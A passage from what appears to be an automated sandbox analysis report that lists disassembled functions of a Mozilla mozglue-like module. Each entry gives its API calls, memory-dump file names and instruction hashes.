Part of subcall function 6CEE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEE5FB2

free.MOZGLUE ref: 6CF10DDD
free.MOZGLUE ref: 6CF10DF2

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: f7f98657b000e842e23e67d66956e796875cb83f3acd69abcf760b6e339f26d1
Instruction ID: a4d280d22421ec9ffe8307fcd9204d0bcf97f708ff6c4f06e2dd2c4297df8c6c
Opcode Fuzzy Hash: f7f98657b000e842e23e67d66956e796875cb83f3acd69abcf760b6e339f26d1
Instruction Fuzzy Hash: 0C41057191D7909BD320CF29C08079AFBE5BF89754F208A2EE8D887B51DBB09455CB82

Function 6CF1CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CF0DA31,00100000,?,?,00000000,?), ref: 6CF1CDA4

Part of subcall function 6CEDCA10: malloc.MOZGLUE(?), ref: 6CEDCA26

Part of subcall function 6CF1D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CF1CDBA,00100000,?,00000000,?,6CF0DA31,00100000,?,?,00000000,?), ref: 6CF1D158
Part of subcall function 6CF1D130: InitializeConditionVariable.KERNEL32(00000098,?,6CF1CDBA,00100000,?,00000000,?,6CF0DA31,00100000,?,?,00000000,?), ref: 6CF1D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CF0DA31,00100000,?,?,00000000,?), ref: 6CF1CDC4

Part of subcall function 6CF17480: ReleaseSRWLockExclusive.KERNEL32(?,6CF215FC,?,?,?,?,6CF215FC,?), ref: 6CF174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CF0DA31,00100000,?,?,00000000,?), ref: 6CF1CECC

Part of subcall function 6CEDCA10: mozalloc_abort.MOZGLUE(?), ref: 6CEDCAA2

Part of subcall function 6CF0CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CF1CEEA,?,?,?,?,00000000,?,6CF0DA31,00100000,?,?,00000000), ref: 6CF0CB57
Part of subcall function 6CF0CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CF0CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CF1CEEA,?,?), ref: 6CF0CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CF0DA31,00100000,?,?,00000000,?), ref: 6CF1D058

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: e693de2795f213731e34619baf76ca78e9242cb6e0b166313a8e252e7fd6e158
Instruction ID: 3a9c5284b0e4e0ebc84ef62e92a146df64b973df3bf2c9d524fb4ea938f819d1
Opcode Fuzzy Hash: e693de2795f213731e34619baf76ca78e9242cb6e0b166313a8e252e7fd6e158
Instruction Fuzzy Hash: A1D17F71A04B469FD708CF28C480B99F7F1BF89308F11866DD8598BB52EB31A965CBD1

Function 6CEE5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CEE5D40
EnterCriticalSection.KERNEL32(6CF4F688), ref: 6CEE5D67
__aulldiv.LIBCMT ref: 6CEE5DB4
LeaveCriticalSection.KERNEL32(6CF4F688), ref: 6CEE5DED

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: e3e1141f7897f9c6bbe2aedabf4b1319a8b177c2da55a2b8f88cc8706a599ab3
Instruction ID: 63f7337b7432642f000a016b998cb15fec0eb0ab0087413919e289b6584ddfe1
Opcode Fuzzy Hash: e3e1141f7897f9c6bbe2aedabf4b1319a8b177c2da55a2b8f88cc8706a599ab3
Instruction Fuzzy Hash: 24518071E111298FCF48DFA8C854BAFBBB1FB99308F29861DC815A7752C7306945CB90

Function 6CECCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CECCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CECCF4E

Strings

0, xrefs: 6CECCF30

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 8de82dd0b927f8abf681977c76762a3d89fa4f2f2eeb4f6d92e8d6cfdf5f0362
Instruction ID: 63f24074eaa2d64a2b0ec4fd1063fe2f040488b66e9581d738f5bad7f6f63c3f
Opcode Fuzzy Hash: 8de82dd0b927f8abf681977c76762a3d89fa4f2f2eeb4f6d92e8d6cfdf5f0362
Instruction Fuzzy Hash: B9511575A002568FCB00CF18C490AAAFBB5EF99304F29859DD8695F351D771ED06CBE0

Function 6CF06470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CF082BC,?,?), ref: 6CF0649B

Part of subcall function 6CEDCA10: malloc.MOZGLUE(?), ref: 6CEDCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF064A9

Part of subcall function 6CEFFA80: GetCurrentThreadId.KERNEL32 ref: 6CEFFA8D
Part of subcall function 6CEFFA80: AcquireSRWLockExclusive.KERNEL32(6CF4F448), ref: 6CEFFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF0653F
free.MOZGLUE(?), ref: 6CF0655A

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 2560f7e27a88b17d4e17eb805aa749662d06c1c7bdabae633d5f8ee0ab519f77
Instruction ID: ab14fdf59fa88035457401d292c6290abcc913eabcd9e9f586e86f11c4dbce14
Opcode Fuzzy Hash: 2560f7e27a88b17d4e17eb805aa749662d06c1c7bdabae633d5f8ee0ab519f77
Instruction Fuzzy Hash: C43181B5A043159FC704CF14D884A9BBBF4BF99718F50442DF85A87741E770EA19CB92

Function 6CEDB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEDB4F5
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CEDB502
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CEDB542
free.MOZGLUE(?), ref: 6CEDB578

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 10ee449a8c47a4022d4fc3167cf7841e91e292a405591d86184d66d4a518d252
Instruction ID: fcf83551b6de76e09842644a697997c7d62e8e44b38792d59e11dd139c0e4249
Opcode Fuzzy Hash: 10ee449a8c47a4022d4fc3167cf7841e91e292a405591d86184d66d4a518d252
Instruction Fuzzy Hash: A911C031E24B41C7D7519F29D4007A5B3B2FFA631CF21970AD84956B12FBB1B5C68790

Function 6CF03DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CECF20E,?), ref: 6CF03DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CECF20E,00000000,?), ref: 6CF03DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF03E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CF03E0E

Part of subcall function 6CEFCC00: GetCurrentProcess.KERNEL32(?,?,6CEC31A7), ref: 6CEFCC0D
Part of subcall function 6CEFCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CEC31A7), ref: 6CEFCC16

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 478bdaab93a2ba265a8c3d550ea6c1ba866ea5590482ae1d200786b6dd1b2f1a
Instruction ID: 525a8e6ecfea4214b9f8916bdf29669870e6489fbae8095f4f0e47df1fbe0ff9
Opcode Fuzzy Hash: 478bdaab93a2ba265a8c3d550ea6c1ba866ea5590482ae1d200786b6dd1b2f1a
Instruction Fuzzy Hash: 21F08271A102087BDB00AB54EC41EAB373CEB46628F054020FD0C57702D635BD1986F7

Function 6CF185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CF185D3

Part of subcall function 6CEDCA10: malloc.MOZGLUE(?), ref: 6CEDCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CF18725

Strings

map/set<T> too long, xrefs: 6CF18720

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 1a0c3925465490a506728b603fb0ac3d444201e94c7b0e05c647a5b3cf831c18
Instruction ID: 500b30d1a817b46a24a3dbae33814e38537867284dc844d569a8e48221b6f354
Opcode Fuzzy Hash: 1a0c3925465490a506728b603fb0ac3d444201e94c7b0e05c647a5b3cf831c18
Instruction Fuzzy Hash: F3516474A08641CFD701CF18C284A5ABBF1BF4A318F1AC29AD8595BB52C375EC85CF92

Function 6CECBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CECBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CECBE8F

Strings

0, xrefs: 6CECBE5B

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 1eab1c28de378fb2fd38cafeb046ba801938acec359afc3b30113d192119147a
Instruction ID: 33591c4bca216a55b81d4c589cfc213e6e558ee9695599eea783836f77b28dd4
Opcode Fuzzy Hash: 1eab1c28de378fb2fd38cafeb046ba801938acec359afc3b30113d192119147a
Instruction Fuzzy Hash: 7D41A071A09749CFC701CF38C581A9BBBF4AF8A348F204A1DF9A5A7611D730D9598B83

Function 6CF03CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF03D19
mozalloc_abort.MOZGLUE(?), ref: 6CF03D6C

Strings

d, xrefs: 6CF03D58

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: d962d0e838a78e1d4554dcaa770de7e8acb5df923d9e09ed5c3496a78a2d5505
Instruction ID: b051579a4b6458d39e22c8973f0aeebd50de31960f475220820b2bedba4dab61
Opcode Fuzzy Hash: d962d0e838a78e1d4554dcaa770de7e8acb5df923d9e09ed5c3496a78a2d5505
Instruction Fuzzy Hash: 1311C135F1468C9BDB00DF69C824AEEB776EF96718B448218DC499B602FB70A588D390

Function 6CF26DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CF26E22
__Init_thread_footer.LIBCMT ref: 6CF26E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CF26E1D

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 427fe2a868b8db06abd56e1b30663630478d2ae7f1681349e63c761148d00626
Instruction ID: f323981c0147f704e9905701781ef070de51fa03e3a28aa4b72cb0642800a6ff
Opcode Fuzzy Hash: 427fe2a868b8db06abd56e1b30663630478d2ae7f1681349e63c761148d00626
Instruction Fuzzy Hash: 50F05935A54680CBDB80ABE8C850BD37B72932331CF148165D81986B53D725A917CA97

Function 6CED9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CED9EEF

Strings

NaN, xrefs: 6CED9EC1
Infinity, xrefs: 6CED9EB7

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: e1cdcf6de19902e51effa25680c3c4c0eb460fde22dbd71b26b35a39bfedf9a7
Instruction ID: 41d08db6ce13eced75d3f86887660e3412f9a0d1e35e89464c3dea22cbe1507d
Opcode Fuzzy Hash: e1cdcf6de19902e51effa25680c3c4c0eb460fde22dbd71b26b35a39bfedf9a7
Instruction Fuzzy Hash: 56F0AF71E20242CBDBC0AF58D95575177B1A32331DF21CA58C90C0AB43D7356557CA82

Function 6CEDBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CEDBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CEDBEF5

Strings

cryptbase.dll, xrefs: 6CEDBEF0

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: e6f23b607874ba1a176f0d5358d2d16ea32c09f41c4a78cd655e0c0ee8533471
Instruction ID: a088c1594b4a4e5279ce2ff44df2754958775d0644ca348210d07f45c6bf7748
Opcode Fuzzy Hash: e6f23b607874ba1a176f0d5358d2d16ea32c09f41c4a78cd655e0c0ee8533471
Instruction Fuzzy Hash: EBD0A73159450CE6C640BB508C05F5D3B749712319F20C420F70594953D7B1A412CB44

Function 6CF1B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CF1B2C9,?,?,?,6CF1B127,?,?,?,?,?,?,?,?,?,6CF1AE52), ref: 6CF1B628

Part of subcall function 6CF190E0: free.MOZGLUE(?,00000000,?,?,6CF1DEDB), ref: 6CF190FF
Part of subcall function 6CF190E0: free.MOZGLUE(?,00000000,?,?,6CF1DEDB), ref: 6CF19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CF1B2C9,?,?,?,6CF1B127,?,?,?,?,?,?,?,?,?,6CF1AE52), ref: 6CF1B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CF1B2C9,?,?,?,6CF1B127,?,?,?,?,?,?,?,?,?,6CF1AE52), ref: 6CF1B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CF1B127,?,?,?,?,?,?,?,?), ref: 6CF1B74D

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fcb80cd570fd23fc3d7c0d59cbcc5e7f506000a7f1c0077a554d9acd7fa00131
Instruction ID: b3a21e28a041dc8b336bc562f2eb69b36f9e8de609ba675d6f6eca138dc67c58
Opcode Fuzzy Hash: fcb80cd570fd23fc3d7c0d59cbcc5e7f506000a7f1c0077a554d9acd7fa00131
Instruction Fuzzy Hash: 8451B3F1A09215CFDB14CF18C98075EB7B5FF95305F55896DC85AABB10D731A804CBA1

Function 6CF16E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CF16EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CF16EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CF16F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF16F5C

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 898fabb18b54673042c4b19f9c6fa616d08ce1608763cfa66883bbdc631c4bd0
Instruction ID: 15a3884e11478bd67f1c7bb21b24b6e9295d4ab1af14d79499b0e59c11c56e05
Opcode Fuzzy Hash: 898fabb18b54673042c4b19f9c6fa616d08ce1608763cfa66883bbdc631c4bd0
Instruction Fuzzy Hash: 1731D871A1460A8FDB14CF2CC9406AE73E9EB95344F50863DE41AC7A51FF31E559C790

Function 6CF2B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CED0A4D), ref: 6CF2B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CED0A4D), ref: 6CF2B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CED0A4D), ref: 6CF2B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CED0A4D), ref: 6CF2B67F

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4c8f668829f0666a89e098baf169453e5fc016d21f6859f53f1e5d46e5e3fca3
Instruction ID: 23635215a9f59d0c3d33c56dbad9b9e9e1a6dc68cd9b016c31e79b0ad270ba36
Opcode Fuzzy Hash: 4c8f668829f0666a89e098baf169453e5fc016d21f6859f53f1e5d46e5e3fca3
Instruction Fuzzy Hash: BA31D472A016168FDB10DF98C844A5ABBB5FF81305F1689A9CC17DB201DB35E915CBA1

Function 6CEFF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CEFF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CEFF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CEFF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CEFF668

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 71becb9f786c87d6b65cb016340cb9083856c2db9ac3e7ca7cb267405dbd9beb
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
